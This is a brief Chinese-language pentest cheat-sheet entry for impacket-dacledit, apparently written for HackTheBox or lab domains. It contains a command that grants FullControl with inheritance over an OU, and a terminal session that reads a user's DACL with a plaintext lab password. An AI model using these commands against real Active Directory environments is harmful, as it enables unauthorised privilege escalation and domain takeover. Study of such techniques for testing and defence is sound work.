impacket-dacledit

1. 快速利用

dacledit.py -k -no-pass 'hercules.htb/auditor@dc.hercules.htb'  -dc-ip 10.129.72.23  -dc-host dc.hercules.htb -action 'write' -rights 'FullControl' -principal 'auditor' -inheritance -target-dn 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb'

┌──(root㉿kali)-[~/Desktop/Academy/ADCS]
└─# impacket-dacledit -action read -dc-ip 10.129.72.99  lab.local/blwasp:Password123! -principal blwasp -target user2
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-2570265163-3918697770-3667495639-1103)
[*]   ACE[24] info
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : CONTAINER_INHERIT_ACE, INHERITED_ACE, OBJECT_INHERIT_ACE
[*]     Access mask               : FullControl (0xf01ff)[*]     Trustee (SID)             : blwasp (S-1-5-21-2570265163-3918697770-3667495639-1103)

2. 案例